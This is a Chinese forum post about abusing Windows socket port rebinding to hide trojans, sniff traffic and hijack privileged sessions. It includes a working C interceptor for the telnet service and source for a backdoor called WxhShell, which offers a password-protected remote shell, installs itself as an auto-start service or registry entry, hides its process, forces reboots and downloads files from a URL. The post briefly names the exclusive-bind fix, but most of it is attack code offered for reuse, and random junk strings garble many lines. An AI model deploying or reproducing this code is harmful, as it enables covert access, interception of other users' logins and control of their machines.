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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IuDS*/Sx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W<{h,j8  
!"AvY y9  
  saddr.sin_family = AF_INET; %jJG>T  
.D~;u-%|F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,O5NLg-  
]2A^1Del  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ng&%o  
UsG~row:!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +bxYG D  
E, Z$pKL?  
  这意味着什么?意味着可以进行如下的攻击: b1q"!+8y  
-]Bq|qTH[(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 umBICC]CU  
b#c:u2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HdI8f!X'TG  
[|wZ77\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y>z>11yEB0  
Oamg]ST  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &A/]pi-\  
uh_RGM&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nbp=PzZy  
2ACCh4(/P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;<Sd~M4f  
=[ 46`-_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .~db4d]  
Y|m +dT6  
  #include qAr M|\l1  
  #include 5<k"K^0QS  
  #include .<?GS{6 N  
  #include    $p8xEcQdU#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bRDYGuC  
  int main() :k]1Lm||  
  { 234p9A@  
  WORD wVersionRequested;  N];NAMp  
  DWORD ret; ldcqe$7,  
  WSADATA wsaData; G>_*djUf  
  BOOL val; mUC)gA/  
  SOCKADDR_IN saddr; K g*Q  
  SOCKADDR_IN scaddr; )}R0Y=e  
  int err; ;O5zUl-`  
  SOCKET s; BZ#(   
  SOCKET sc; (#c*M?g3  
  int caddsize; g axsv[W>^  
  HANDLE mt; ssA`I<p#  
  DWORD tid;   \w>y`\6mX  
  wVersionRequested = MAKEWORD( 2, 2 ); 7"D", 1h  
  err = WSAStartup( wVersionRequested, &wsaData ); 2W(s(-hD  
  if ( err != 0 ) { 2"Q|+-Io  
  printf("error!WSAStartup failed!\n"); c ]-<vkpV  
  return -1; TqQB@-!  
  } l4YbKnp]  
  saddr.sin_family = AF_INET; 7WqH&vU|  
   s) t@ol  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nAato\mM  
`hm-.@f,9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rKc9b<Ir  
  saddr.sin_port = htons(23); sdrfsrNvB-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @{e}4s?7od  
  { i"FtcP^  
  printf("error!socket failed!\n"); ]A `n( "%  
  return -1; ,Vax&n+J  
  } XJB)rP  
  val = TRUE; {WS;dX4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v~C Czg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FxY}m  
  { T Z@]:e:"b  
  printf("error!setsockopt failed!\n"); z6P$pqyF  
  return -1; zI uJ-8T"  
  } V &T~zh1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /s?`&1v|r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I][*j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B-Hrex]  
H41?/U,{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z\rwO>3  
  { {Mk6T1Bkq  
  ret=GetLastError(); G!##X: 6'  
  printf("error!bind failed!\n"); 2pCaX\t  
  return -1;  /maJtX'  
  } wQf-sk#  
  listen(s,2); ue"~9JK.  
  while(1) ]/6z; ~3U  
  { j;r-NCBnz  
  caddsize = sizeof(scaddr); !BF; >f`  
  //接受连接请求 1&OW4_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &-w Cvp7  
  if(sc!=INVALID_SOCKET) Jpq~  
  { pki%vRY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fOrH$?  
  if(mt==NULL) 0mVNQxHI  
  { t@;p  
  printf("Thread Creat Failed!\n"); ?^{Ah}x  
  break; ~~P5k:  
  } ]EAO+x9  
  } 0+ '&`Q!u  
  CloseHandle(mt); T-L||yE,h  
  } \)[j_^  
  closesocket(s); j$:~Rek  
  WSACleanup(); o|:b;\)b  
  return 0; *^4"5X@  
  }   3hH<T.@)  
  DWORD WINAPI ClientThread(LPVOID lpParam) _H%c;z+  
  { w& #]-|$  
  SOCKET ss = (SOCKET)lpParam; ObS3 M  
  SOCKET sc; "S]TP$O D  
  unsigned char buf[4096];  (ZizuHC  
  SOCKADDR_IN saddr; zw[m9N5\h  
  long num; P@B]  
  DWORD val; _{KG 4+5\X  
  DWORD ret; cT,sh~-x,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7}>EJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xp{tw$  
  saddr.sin_family = AF_INET; +6\Zj)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /3T1U  
  saddr.sin_port = htons(23); ;^*W+,4WB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) niyV8v  
  { FZlWsp=  
  printf("error!socket failed!\n"); 4HlQ&2O%#  
  return -1; H <l7ZS:  
  } o*H<KaX  
  val = 100; R 9\*#c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @9s$4DS  
  { 6&x@.1('z  
  ret = GetLastError(); bG#>uE J-  
  return -1; m_]Y{3C  
  } .q>iXE_c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tD)J*]G  
  { l_p2Riv  
  ret = GetLastError(); K0>zxqY  
  return -1; 77Y/!~kd  
  } (<9u-HF#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "to;\9lP  
  { 4r}51 N\  
  printf("error!socket connect failed!\n"); KWHY4  
  closesocket(sc); g 7H(PF?  
  closesocket(ss); fJg+Ryo  
  return -1; ]/v[8dS(l  
  } WyiQoN'q  
  while(1) 9.#<b |g  
  { HRA|q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W=?<<dVYD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gbA_DZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 > (<f 0  
  num = recv(ss,buf,4096,0); uY To 9A  
  if(num>0) 'w aaw_>b  
  send(sc,buf,num,0); Pq$n5fZC !  
  else if(num==0) ,P0) 6>  
  break; 5 qA'  
  num = recv(sc,buf,4096,0); !N^@4*  
  if(num>0) : A;RH  
  send(ss,buf,num,0); Vurq t_nb  
  else if(num==0) pb,d'z\S  
  break; ~xTt204S  
  } AbM'3Mkz  
  closesocket(ss); <P<z N~i9j  
  closesocket(sc); [-w%/D%@  
  return 0 ; o8MZiU1Xf  
  } %BODkc Zh  
H5an%kU|j  
6y<EgYzdE  
========================================================== er\|i. Y  
8@R|Km5h  
下边附上一个代码,,WXhSHELL 6S #Cl>v  
3so %gvY.'  
==========================================================  M6TD"-  
>\8+: oS^  
#include "stdafx.h" DmcZta8n]  
fP1! )po  
#include <stdio.h> 5)40/cBe  
#include <string.h> j>kqz>3  
#include <windows.h>  !VpoZ  
#include <winsock2.h> Hn:Crl y#  
#include <winsvc.h> j8gdlIx  
#include <urlmon.h> /wG2vE8e  
,zc(t<|-y  
#pragma comment (lib, "Ws2_32.lib") j<$2hiI/?&  
#pragma comment (lib, "urlmon.lib") An@t?#4gxi  
>Q*Wi  
#define MAX_USER   100 // 最大客户端连接数 []T8k9g/-  
#define BUF_SOCK   200 // sock buffer wIgS3K  
#define KEY_BUFF   255 // 输入 buffer mkpMfPt  
y{Q {'De  
#define REBOOT     0   // 重启 Q b%J8juRf  
#define SHUTDOWN   1   // 关机 =~gvZV-<  
6u%&<")4HP  
#define DEF_PORT   5000 // 监听端口 x1a:u  
i/.6>4tE:  
#define REG_LEN     16   // 注册表键长度 X3& Jb2c2  
#define SVC_LEN     80   // NT服务名长度 jiGTA:v  
2<6UwF  
// 从dll定义API d zMb5puH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ry]l.@o;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 18Emi<&A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + T+#q@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4ppz,L,4  
{RPI]DcO/  
// wxhshell配置信息 EX"yxZ~  
struct WSCFG { QV8g#&z  
  int ws_port;         // 监听端口 /_.|E]  
  char ws_passstr[REG_LEN]; // 口令 =pr7G+_u  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~"bV L[  
  char ws_regname[REG_LEN]; // 注册表键名 ?A0)L27UE&  
  char ws_svcname[REG_LEN]; // 服务名 g2]Qv@nxw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iRBfx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O&&~NXI\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L50n8s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BLFdHB.$T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,)io5nZF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b MBLXk  
MfkZ  
}; d=^z`nt !R  
4z)]@:`}z  
// default Wxhshell configuration 1mJ Hued=6  
struct WSCFG wscfg={DEF_PORT, h`KU\X ) A  
    "xuhuanlingzhe", m+9#5a-  
    1, 0 "#HJA44  
    "Wxhshell", 1*7@BP5  
    "Wxhshell", 0\$2X- c  
            "WxhShell Service", lxi<F  
    "Wrsky Windows CmdShell Service", ,,TnIouy  
    "Please Input Your Password: ", :KO2| v\  
  1, fy$1YI>!Q  
  "http://www.wrsky.com/wxhshell.exe", 92{\B- l  
  "Wxhshell.exe" >sbu<|]a 7  
    }; AwN!;t_0+N  
V8(-  
// 消息定义模块 t<qiGDJ<d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ca\6vR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M=Wz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >d6|^h'0  
char *msg_ws_ext="\n\rExit."; Pz^544\~ou  
char *msg_ws_end="\n\rQuit."; .V*^|UXbHi  
char *msg_ws_boot="\n\rReboot..."; D{!IW!w  
char *msg_ws_poff="\n\rShutdown..."; v0y(58Rz.  
char *msg_ws_down="\n\rSave to "; PW4q~rc=:  
#;<Y[hR{P  
char *msg_ws_err="\n\rErr!"; KSL`W2}  
char *msg_ws_ok="\n\rOK!"; ~s{$WL&  
D,6:EV"sa  
char ExeFile[MAX_PATH]; bZ6+,J  
int nUser = 0; cnLro  
HANDLE handles[MAX_USER]; Wjc'*QCPl  
int OsIsNt; ZB{EmB0W  
y)*RV;^  
SERVICE_STATUS       serviceStatus; <uJ@:oWG7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; olcDt&xv]  
j<x_&1  
// 函数声明 P*o9a  
int Install(void); NO3/rJ6-  
int Uninstall(void); K%d&EYoW]  
int DownloadFile(char *sURL, SOCKET wsh); Je{ykL?N  
int Boot(int flag); BuwY3F\-O  
void HideProc(void); ry!!9Z>9n  
int GetOsVer(void); #b`k e/P  
int Wxhshell(SOCKET wsl); j@9T.P1  
void TalkWithClient(void *cs); l^qI, M  
int CmdShell(SOCKET sock); Y0>y8U V  
int StartFromService(void); 626r^c=  
int StartWxhshell(LPSTR lpCmdLine); xfQ1T)F3g  
]{iQ21`a-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $^ P0F9~0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #`IN`m|  
=Uh$&m  
// 数据结构和表定义 C]#,+q*  
SERVICE_TABLE_ENTRY DispatchTable[] = RZ7@cQY  
{ 6 r"<jh#  
{wscfg.ws_svcname, NTServiceMain}, TNth   
{NULL, NULL} :>*7=q=  
}; PdCEUh\>y  
Ib`XT0k  
// 自我安装 ]3gSQ7  
int Install(void) E3i4=!Y  
{ ,^:.dFH6  
  char svExeFile[MAX_PATH]; ]A"h&`Cvt  
  HKEY key; T |p"0b A  
  strcpy(svExeFile,ExeFile); M{\I8oOg  
"{n&~H`  
// 如果是win9x系统,修改注册表设为自启动 p[-O( 3Y  
if(!OsIsNt) { Q@niNDaW2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y^k$Us  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =WLY6)]A  
  RegCloseKey(key); Vj-h;rB0z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "z c l|@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yuVs YV@"  
  RegCloseKey(key); q<J~~'  
  return 0; 9z0p5)]n>  
    } \lY_~*J  
  } _&x%^&{  
} Mhu*[a=;x  
else { qLCR] _*  
2T1q?L?]  
// 如果是NT以上系统,安装为系统服务 lk!@?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XG?8s &  
if (schSCManager!=0) %C0Dw\A*:  
{ *_e3 @g  
  SC_HANDLE schService = CreateService \!(zrfP{(  
  ( ==B6qX8T  
  schSCManager, S @Y39  
  wscfg.ws_svcname, lFk R=!?=  
  wscfg.ws_svcdisp, 5N]"~w*  
  SERVICE_ALL_ACCESS, 3 {V>S,O3]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RNL9>7xV  
  SERVICE_AUTO_START, Y@v>FlqI{  
  SERVICE_ERROR_NORMAL, xoL\us`A  
  svExeFile, }qUX=s GG  
  NULL, &[9709 (=  
  NULL, 0"R|..l/  
  NULL, TzZq(? V  
  NULL, ~,Qp^"rlW  
  NULL FwK] $4*  
  ); 6b,V;#Anj  
  if (schService!=0) @CoIaUVP  
  { yu|>t4#GT  
  CloseServiceHandle(schService); iCoX& "lb  
  CloseServiceHandle(schSCManager); cl1T8vFM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8|^7ai[am  
  strcat(svExeFile,wscfg.ws_svcname); xo)P?-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]|@^1we  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 54,er$$V  
  RegCloseKey(key); \wZe] G%S  
  return 0; 5G#n"}T  
    } RCrCs  
  } <b.D&  
  CloseServiceHandle(schSCManager); f<_Cq <q"  
} b>W %t  
} l{9Y  
9sP0D  
return 1; S/ *E,))m  
} ~u{uZ(~  
OI*H,Z "  
// 自我卸载 do_[&  
int Uninstall(void) 9$t( &z=  
{ GyIV Hby  
  HKEY key; x2EUr,7  
H\ %7%  
if(!OsIsNt) { s iaG'%@*r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #WuBL_nZ~  
  RegDeleteValue(key,wscfg.ws_regname); ! if   
  RegCloseKey(key); #spCtZE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F2WKd1U  
  RegDeleteValue(key,wscfg.ws_regname); 9x8fhAy}4  
  RegCloseKey(key); \m,PA'nd/  
  return 0; bOB \--:]  
  }  g-A-kqo9  
} a[C@  
} ok[i<zl; '  
else { j.Hf/vi`z  
m*pJBZxd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]lbuy7xj63  
if (schSCManager!=0) zda 3 ,U2o  
{ y `UaB3q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3<!7>]A  
  if (schService!=0) R5D1w+  
  { 8Wx=p#_  
  if(DeleteService(schService)!=0) { x4 yR8n(  
  CloseServiceHandle(schService); 8r{.jFGv  
  CloseServiceHandle(schSCManager); O?2DQY?jT  
  return 0; tYS06P^<  
  } Q?vlfZR`8  
  CloseServiceHandle(schService); 'NmRR]Q9  
  } 6t$8M[0-U  
  CloseServiceHandle(schSCManager); }j%5t ~Qa  
} /7kC<  
} +rd+0 `}C  
xEI%D|)<  
return 1; +whDU2 "  
} ,prf;|e?  
>Ry01G]_/h  
// 从指定url下载文件 w>gYx(8b  
int DownloadFile(char *sURL, SOCKET wsh) 2ESo2  
{ 5+'<R8{:,  
  HRESULT hr; [WmM6UEVS  
char seps[]= "/"; ~Y;*u]^  
char *token; $i&zex{\  
char *file; dH!*!r>  
char myURL[MAX_PATH];   ep8  
char myFILE[MAX_PATH]; d6O[ @CyP  
)8AXm  
strcpy(myURL,sURL); 80I#TA6C  
  token=strtok(myURL,seps); rp$'L7lrX  
  while(token!=NULL) ;pAK_>  
  { 'DR!9De  
    file=token; s[jTP(d)8  
  token=strtok(NULL,seps); qPNR`%}Q  
  } It(_v  
A^g(k5M*  
GetCurrentDirectory(MAX_PATH,myFILE); TOt dUO  
strcat(myFILE, "\\"); D7Z /H'|  
strcat(myFILE, file); Vr}'.\$  
  send(wsh,myFILE,strlen(myFILE),0); &d!GImcxQ  
send(wsh,"...",3,0); /: "1Z]@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); as|<}:V  
  if(hr==S_OK)  ?9/G[[(  
return 0; 0kh6@y3  
else ]^E?;1$f?  
return 1; sC'` ~}C  
T)/eeZ$  
} fhiM U8(&  
?,mmYW6TjB  
// 系统电源模块 ?s01@f#  
int Boot(int flag) zX[U~.  
{ +7Gwg  
  HANDLE hToken; [n@] r2g)3  
  TOKEN_PRIVILEGES tkp; %b$>qW\*&  
us-L]S+lm  
  if(OsIsNt) { oJ^P(]dw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^#pEPVkY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /uc>@!F  
    tkp.PrivilegeCount = 1; dO'(2J8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z/-=%g >HA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #qki  
if(flag==REBOOT) { |yCMt:Hk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M`_0C38  
  return 0; N2G{<>=  
} sJZ iI}Xc  
else { _BufO7 `.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &C}*w2]0S  
  return 0; L(-4w+  
} &ZO0r ^  
  } =X}J6|>X  
  else { =;L|gtH"  
if(flag==REBOOT) { $xsd~L &  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wYea\^co  
  return 0; c<~H(k'+c  
} ).O)p9  
else { Qs!5<)6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gv&V|7-f0  
  return 0; ^iA9%zp  
} PCA4k.,T  
} ?,/ }`3Vw  
Ry&6p>-  
return 1; %#+Hl0,Tt  
} JF]JOI6.e  
6]N.%Y[(  
// win9x进程隐藏模块 t20K!}D_  
void HideProc(void) }p V:M{Nu&  
{ :RYTL'hes  
GgU/ !@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Om&Dw |xG8  
  if ( hKernel != NULL ) \8tsDG(1 '  
  { >_} I.\ X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZCw]m#lS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *pd@.|^)m  
    FreeLibrary(hKernel); 4i bc  
  } 'w/hw'F6  
b>k y  
return; =1! 'QUc  
} M5B# TAybC  
G}*hM$F  
// 获取操作系统版本 ?2a$*(  
int GetOsVer(void) *j=% #  
{ Xj*Wu_  
  OSVERSIONINFO winfo; U*:!W=XN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YIE<pX4Q7)  
  GetVersionEx(&winfo); 6*?F@D2&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0(I j%Wi,  
  return 1; ?%86/N>  
  else QJNFA}*>  
  return 0; qR.Q,(b|  
} e!`i3KYn"  
(hsl~Jf  
// 客户端句柄模块 ex|F|0k4}  
int Wxhshell(SOCKET wsl) NI5``BwpO  
{ )[  ,A_3E  
  SOCKET wsh; l%ZhA=TKQ  
  struct sockaddr_in client; @o^Ww  
  DWORD myID; l2d{ 73h  
d _ e WcI  
  while(nUser<MAX_USER) a?.=V  
{ B *vM0  
  int nSize=sizeof(client); |%wX*zaf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Al'3?  
  if(wsh==INVALID_SOCKET) return 1; pp2~Meg  
l,: F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |o @%dH  
if(handles[nUser]==0) )+M0Y_r  
  closesocket(wsh); K^$=dLp  
else H"KCK6  
  nUser++; 07)yG:q*x  
  } +#By*;BJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *H122njH+T  
} %z   
  return 0; {!`4iiF  
} $cR{o#  
C?Ucu]cW  
// 关闭 socket 7KPwQ?SjT  
void CloseIt(SOCKET wsh) G`zm@QL  
{ zJXplvaL;  
closesocket(wsh); {[(h[MW#  
nUser--; s(^mZ -i  
ExitThread(0); ,47qw0=C  
} )i<j XZ:O  
':}\4j&{E  
// 客户端请求句柄 Wf<LR3  
void TalkWithClient(void *cs) fatf*}eln  
{ mt`.6Xz~  
BD-AI  
  SOCKET wsh=(SOCKET)cs; vj*%Q(E6Pt  
  char pwd[SVC_LEN]; - DCbko  
  char cmd[KEY_BUFF]; |M_UQQAB|  
char chr[1]; 4sM.C9W  
int i,j; J=L5=G7(  
5?L<N:;J_  
  while (nUser < MAX_USER) { , dp0;nkr  
L]Mo;kT<Q  
if(wscfg.ws_passstr) { a: S -  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  p#[.{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -![|}pX  
  //ZeroMemory(pwd,KEY_BUFF); `-&K~^-cH  
      i=0; rs.M]8a2{&  
  while(i<SVC_LEN) { c)tfAD(N8x  
<t,x RBk  
  // 设置超时 ZC}QId  
  fd_set FdRead; _ J[  
  struct timeval TimeOut; B?qjkP  
  FD_ZERO(&FdRead); 'RRE|L,  
  FD_SET(wsh,&FdRead); y?:.;%!E  
  TimeOut.tv_sec=8; 2"5v[,$1H  
  TimeOut.tv_usec=0; C-[1iW'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @I*{f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?s _5&j7  
\L\b$4$d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '{`$#@a.  
  pwd=chr[0]; K@#L)VT!  
  if(chr[0]==0xd || chr[0]==0xa) {  *,m;  
  pwd=0; gO^gxJ'0t  
  break; X76e&~  
  } 8*fv'  
  i++; ~nPtlrQa#*  
    } aA TA9V  
63A.@mL  
  // 如果是非法用户,关闭 socket g[t [/TV   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YF:L)0H'O  
} J")#I91  
\G3rX9xG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nvUc\7(%NW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); veRm2 LSP  
4{l,  
while(1) { 1r7y]FyH$  
5^KWCS7@  
  ZeroMemory(cmd,KEY_BUFF); p"Z-6m~  
VQ{fne<  
      // 自动支持客户端 telnet标准   I9Fr5p-%O  
  j=0; lA-h`rl /  
  while(j<KEY_BUFF) { .% OR3"9@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o+9j?|M  
  cmd[j]=chr[0]; e*n@j  
  if(chr[0]==0xa || chr[0]==0xd) { TW>WHCAm  
  cmd[j]=0; s!e3|pGS  
  break; }#E[vRf  
  } rc>6.sM %  
  j++; zA"`!}*  
    } pO.2<  
6Kb1~jY  
  // 下载文件 +&"zU GTIc  
  if(strstr(cmd,"http://")) { -B\HI*u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R^e.s -  
  if(DownloadFile(cmd,wsh)) .-X8J t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); * +wW(#[  
  else C{XmVc.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zoc0!84<z  
  } jMDY(mwt  
  else { H]jhAf<h  
13=.H5  
    switch(cmd[0]) { 5Zva:  
  mo#04;VF  
  // 帮助 FjI`uP  
  case '?': { qWKAM@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 19KQlMO.G  
    break; iRi-cQVy  
  } P_p<`sC9  
  // 安装 >u8gD6X  
  case 'i': { (DP &B%Sf  
    if(Install()) :Qf '2.h)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :TC@tM~Oy  
    else NS6:yX,/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *GN# r11d  
    break; !o[7wKrXb  
    } m<qJcZk  
  // 卸载 O|N{ v"o  
  case 'r': { klR|6u]%  
    if(Uninstall()) _M5|Y@XN-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HuKc9U'7A  
    else f &wb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ktm4 A O  
    break; '1)$'   
    } {Wu$YWE*sx  
  // 显示 wxhshell 所在路径 RT J3qhY  
  case 'p': { Y~E`9  
    char svExeFile[MAX_PATH]; m&?r%x  
    strcpy(svExeFile,"\n\r"); n`&U~s8w  
      strcat(svExeFile,ExeFile); j;iAD:nf  
        send(wsh,svExeFile,strlen(svExeFile),0); =-lb)Z"d  
    break; )$bS}.  
    } W$ 2C47i  
  // 重启 (%W&4a1di  
  case 'b': { D^3vr2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); } c }_<#I  
    if(Boot(REBOOT)) l.bYE/F0&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jc f #6   
    else { 2nIw7>.}f  
    closesocket(wsh); 1.9}_4!  
    ExitThread(0); B[-v[K2  
    } |:<f-j7t~  
    break; !|S43i&p  
    } tX %5BTv  
  // 关机 spPNr  
  case 'd': { xJ)n4)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JU5C}%Q6  
